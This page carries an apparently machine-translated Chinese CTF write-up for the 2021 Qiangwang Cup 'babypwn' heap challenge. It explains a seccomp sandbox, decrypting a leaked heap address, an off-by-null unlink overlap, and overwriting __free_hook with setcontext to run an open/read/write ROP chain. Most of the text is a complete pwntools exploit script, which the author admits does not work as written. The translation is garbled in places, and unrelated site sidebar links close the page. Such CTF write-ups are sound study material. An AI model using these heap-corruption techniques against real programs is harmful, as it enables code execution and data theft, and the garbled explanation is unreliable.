当前位置:网站首页>Analysis of strong tennis cup 2021 PWN competition -- babypwn
Analysis of strong tennis cup 2021 PWN competition -- babypwn
2022-07-27 07:04:00 【L3H_ CoLin】
Sandbox mechanism is added to this problem , adopt seccomp-tools You can easily get the specific contents of the sandbox .

The key point is to disable execve system call , No direct access one_gadget、system And so on getshell. In this case, the most commonly used way of utilization is set_context function , How to use , To look down .
The reverse analysis of this problem is very simple , Be careful bss Identification of structures in : front 8 Bytes are addresses , after 8 Bytes are size . stay show Function found a simple encryption function :

The calculation of each round is shown in the figure below , The red part is the part that cannot be calculated due to overflow , The result of each round of calculation is equivalent to the result of XOR corresponding to all yellow parts .
So how should this function decrypt ? It is observed that each round of calculation can be divided into 3 Ferry , The last round is a value and its left shift 13 Exclusive or of bit . The second round is another value with its own right shift 17 The XOR of bits gets the initial value of the third round . The first round is the input and the left shift of the input itself 5 The XOR of bits gets the initial value of the second round . It is not difficult to design the decryption algorithm in this way , I believe that readers who know some algorithms can write scripts . The decryption function is as follows :
def get_bits(value, start, end):
return (value >> start) & ((1 << (end - start)) - 1)
def decrypt(value):
for i in range(2):
low13 = get_bits(value, 0, 13)
mid13 = get_bits(value, 13, 26)
mid13 ^= low13
high6 = get_bits(value, 26, 32)
high6 ^= get_bits(mid13, 0, 6)
value = low13 + (mid13 << 13) + (high6 << 26)
high17 = get_bits(value, 15, 32)
low15 = get_bits(value, 0, 15)
low15 ^= get_bits(high17, 2, 17)
value = low15 + (high17 << 15)
first5 = get_bits(value, 0, 5)
second5 = get_bits(value, 5, 10)
second5 ^= first5
third5 = get_bits(value, 10, 15)
third5 ^= second5
fourth5 = get_bits(value, 15, 20)
fourth5 ^= third5
fifth5 = get_bits(value, 20, 25)
fifth5 ^= fourth5
sixth5 = get_bits(value, 25, 30)
sixth5 ^= fifth5
last2 = get_bits(value, 30, 32)
last2 ^= get_bits(sixth5, 0, 2)
value = first5 + (second5 << 5) + (third5 << 10) + (fourth5 << 15) + \
(fifth5 << 20) + (sixth5 << 25) + (last2 << 30)
return value
adopt show function , We can get the address of the heap block . But here's the thing ,show The function encrypts the address of the heap block itself , But in front of the pile 8 Byte value . Through debugging, we can find , Called during program initialization seccomp A series of functions will apply for some heap blocks , By applying for these stacking blocks, we may make the front of the stacking block 8 Byte is a heap block address , To get the heap address .
Topic libc The environment is 2.27 edition , There is a chance to rewrite the hook to setcontext function 【 Insert a sentence : In the author's 2.31 edition libc in ,setcontext The stack migration instruction of the function is from mov rsp, [rdi+0xA0] Has been changed to mov rsp,[rdx+0xA0], This makes the topic in 2.31 Not available in environment , Because I can't control it when I get here rdx Value 】. spontaneously , It's easy for us to think of using unlink The use of stack overlap . stay chunk Write a false chunk, On vacation chunk Of prev_size Write this chunk The address of , And then fd and bk The pointer writes to the appropriate position , Can trigger unlink. And the same year easy_diary comparison , It is less difficult to use .

There's a little bit of caution here edit A seemingly strange function in the function . This function is in the read Then call , Will appear first ’\x11’ Replace the character with 0x0. At first glance , This character is not the end of the string , But then I thought , It is not difficult to find that this is what the author is creating for us off by null Conditions :'\x11’ It's probably some chunk Of size The lowest 1 byte . This feature can be used to modify chunk The size and prev_inuse position . because chunk The size of has been modified , So here chunk The last side of the need to write a valid size value , The lowest is 1, To bypass the check .
In success unlink after , You can use heap block overlap to modify tcache chunk Of fd The pointer goes to __free_hook. Rewrite it to setcontext Stack migration can be realized internally . Then construct ROP chain , Open file 、 Reading documents 、 Writing data . On the author's machine , Debugging will rdx Change to and rdi The value of is equal to realize stack migration , But somehow open flag Files always fail .
exp:( be based on 20.04, And it needs debugging and modification rdx Value )
from pwn import *
context(arch='amd64', log_level='debug')
io = process('./babypwn')
# io = process(['../../../../ld/ld-2.27.so', './babypwn'], env={"LD_PRELOAD": "./libc.so.6"})
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
# libc = ELF('./libc.so.6')
def add(size):
io.sendlineafter(b'>>> ', b'1')
io.sendlineafter(b'size:', str(size).encode())
def delete(index):
io.sendlineafter(b'>>> ', b'2')
io.sendlineafter(b'index:', str(index).encode())
def edit(index, content):
io.sendlineafter(b'>>> ', b'3')
io.sendlineafter(b'index:', str(index).encode())
io.sendafter(b'content:', content)
def show(index):
io.sendlineafter(b'>>> ', b'4')
io.sendlineafter(b'index:\n', str(index).encode())
lodword = int(io.recvuntil(b'\n', drop=True).decode(), 16)
lodword = decrypt(lodword)
hidword = int(io.recvuntil(b'\n', drop=True).decode(), 16)
hidword = decrypt(hidword)
return lodword + (hidword << 32)
def get_bits(value, start, end):
return (value >> start) & ((1 << (end - start)) - 1)
def decrypt(value):
for i in range(2):
low13 = get_bits(value, 0, 13)
mid13 = get_bits(value, 13, 26)
mid13 ^= low13
high6 = get_bits(value, 26, 32)
high6 ^= get_bits(mid13, 0, 6)
value = low13 + (mid13 << 13) + (high6 << 26)
high17 = get_bits(value, 15, 32)
low15 = get_bits(value, 0, 15)
low15 ^= get_bits(high17, 2, 17)
value = low15 + (high17 << 15)
first5 = get_bits(value, 0, 5)
second5 = get_bits(value, 5, 10)
second5 ^= first5
third5 = get_bits(value, 10, 15)
third5 ^= second5
fourth5 = get_bits(value, 15, 20)
fourth5 ^= third5
fifth5 = get_bits(value, 20, 25)
fifth5 ^= fourth5
sixth5 = get_bits(value, 25, 30)
sixth5 ^= fifth5
last2 = get_bits(value, 30, 32)
last2 ^= get_bits(sixth5, 0, 2)
value = first5 + (second5 << 5) + (third5 << 10) + (fourth5 << 15) + \
(fifth5 << 20) + (sixth5 << 25) + (last2 << 30)
return value
add(100) # chunk 0, used for leaking address
chunk0_addr = show(0)
print(hex(chunk0_addr))
add(0x100) # chunk #1
for i in range(7):
add(0xF0) # chunk #2~8
chunk1_addr = chunk0_addr + 0x400
payload = p64(chunk1_addr + 0x10)
payload += p64(0x810 + 0x30 - 0x10)
payload += p64(chunk1_addr - 0x8)
payload += p64(chunk1_addr)
payload += p64(0)
edit(1, payload)
add(0x28) # chunk #9
add(0x100) # chunk #10
add(0x20) # chunk #11, goalkeeper
edit(9, cyclic(0x28)) # this can change the chunk #9's size from 0x511 to 0x500
edit(9, cyclic(0x20) + p64(0x810 + 0x30 - 0x10)) # write correct prev_size
edit(10, cyclic(0xF0) + p64(0) + p64(0x41))
for i in range(7):
delete(8 - i) # delete chunk #2~8
delete(10)
for i in range(2):
add(0xF0) # recover chunk #1, 2
add(0xF0 + 0x100) # recover chunk #3
main_arena = show(3) - 96
print(hex(main_arena))
__malloc_hook = main_arena - 0x10
base = __malloc_hook - libc.symbols['__malloc_hook']
__free_hook = base + libc.symbols['__free_hook']
setcontext = base + libc.symbols['setcontext']
openfile = base + libc.symbols['open']
readfile = base + libc.symbols['read']
writefile = base + libc.symbols['write']
poprdi_ret = base + 0x23B6A
poprsi_ret = base + 0x2601F
poprdx_ret = base + 0x142C92
addrsp0x18_ret = base + 0x349ea
add(0xF0 + 0x100) # chunk #5
edit(5, cyclic(0xF0) + p64(0) + p64(0x101) + p64(__free_hook))
add(0xF0) # chunk #6
add(0xF0) # chunk #7, to __free_hook
edit(7, p64(setcontext + 0x3D)) # change __free_hook to setcontext + 0x3D, ready for stack pivoting
add(0xF0 + 0x100) # chunk #8
chunk8_addr = chunk1_addr + 0x410
ROP = b'/flag'.ljust(0x30, b'\x00') # 0x0
ROP += p64(chunk8_addr + 0x10) # 0x30
ROP += p64(poprsi_ret) # 0x38
ROP += p64(2) # 0x40
ROP += p64(openfile) # 0x48
ROP += p64(poprdi_ret) # 0x50
ROP += p64(3) # 0x58
ROP += p64(poprsi_ret) # 0x60
ROP += p64(chunk8_addr + 0xF0) # 0x68
ROP += p64(poprdx_ret) # 0x70
ROP += p64(0x30) # 0x78
ROP += p64(readfile) # 0x80
ROP += p64(poprdi_ret) # 0x88
ROP += p64(1) # 0x90
ROP += p64(addrsp0x18_ret) # 0x98
ROP += p64(chunk8_addr + 0x40) # 0xA0
ROP += p64(poprdi_ret) # 0xA8
ROP += p64(0xdeadbeef) # 0xB0
ROP += p64(poprsi_ret) # 0xB8
ROP += p64(chunk8_addr + 0xF0) # 0xC0
ROP += p64(poprdx_ret) # 0xC8
ROP += p64(0x30) # 0xD0
ROP += p64(writefile) # 0xD8
edit(8, ROP)
gdb.attach(io)
time.sleep(5)
delete(8)
io.interactive()
边栏推荐
- DNA (deoxyribonucleic acid) supply | carbon nanotube nucleic acid loaded dna/rna material | dna/rna nucleic acid modified magnetic nanoparticles
- DNA modified near infrared two region GaAs quantum dots | GaAs DNA QDs | DNA modified GaAs quantum dots
- CentOS上使用Docker安装和部署Redis
- 程序、进程、线程、协程以及单线程、多线程基本概念
- CdS quantum dots modified DNA | CDs DNA QDs | near infrared CdS quantum dots coupled DNA specification information
- Problems related to compilation and training of Darknet yolov3 and Yolo fast using CUDA environment of rtx30 Series graphics card on win10 platform
- Li Hongyi 2020 deep learning and human language processing dlhlp conditional generation by RNN and attention-p22
- Image super-resolution evaluation index
- Esxi virtual machine starts, and the module "monitorloop" fails to power on
- Auto encoder (AE), denoising auto encoder (DAE), variable auto encoder (VAE) differences
猜你喜欢

ZnS-DNA QDs近红外硫化锌ZnS量子点改性脱氧核糖核酸DNA|DNA修饰ZnS量子点

智能安防视频平台EasyCVR出现通道列表为空情况的原因是什么?

Cyclegan parsing

CASS11.0.0.4 for AutoCAD2010-2023免狗使用方法

AI:业余时间打比赛—挣它个小小目标—【阿里安全×ICDM 2022】大规模电商图上的风险商品检测比赛

Express receive request parameters

Norms of vectors and matrices

基于SSM医院预约管理系统

Shell programming specifications and variables

DNA偶联PbSe量子点|近红外硒化铅PbSe量子点修饰脱氧核糖核酸DNA|PbSe-DNA QDs
随机推荐
deepsort源码解读(一)
Boostrap
Do it yourself container
Event capture and bubbling - what is the difference between them?
Significance of NVIDIA SMI parameters
About the new features of ES6
Future, futuretask and completable future are often asked in interviews
jest单测样式问题【identity-obj-proxy】npm包
TS学习(八) :TS中的类
MySQL的基本语句(1)—增删改查
含有偶氮苯单体的肽核酸寡聚体(NH2-TNT4,N-PNAs)齐岳生物定制
智能安防视频平台EasyCVR出现通道列表为空情况的原因是什么?
DNA(脱氧核糖核酸)供应|碳纳米管载核酸-DNA/RNA材料|DNA/RNA核酸修饰磁性纳米颗粒
Shell programming specifications and variables
Two ways of multi GPU training of pytorch
PNA polypeptide PNA TPP | GLT ala ala Pro Leu PNA | suc ala Pro PNA | suc AAPL PNA | suc AAPM PNA
EasyRecovery14数据恢复软件官方功能简介
How can chrome quickly transfer a group of web pages (tabs) to another device (computer)
Cass11.0.0.4 for autocad2010-2023 dog free usage
Add virtual network card and configure OP route in win10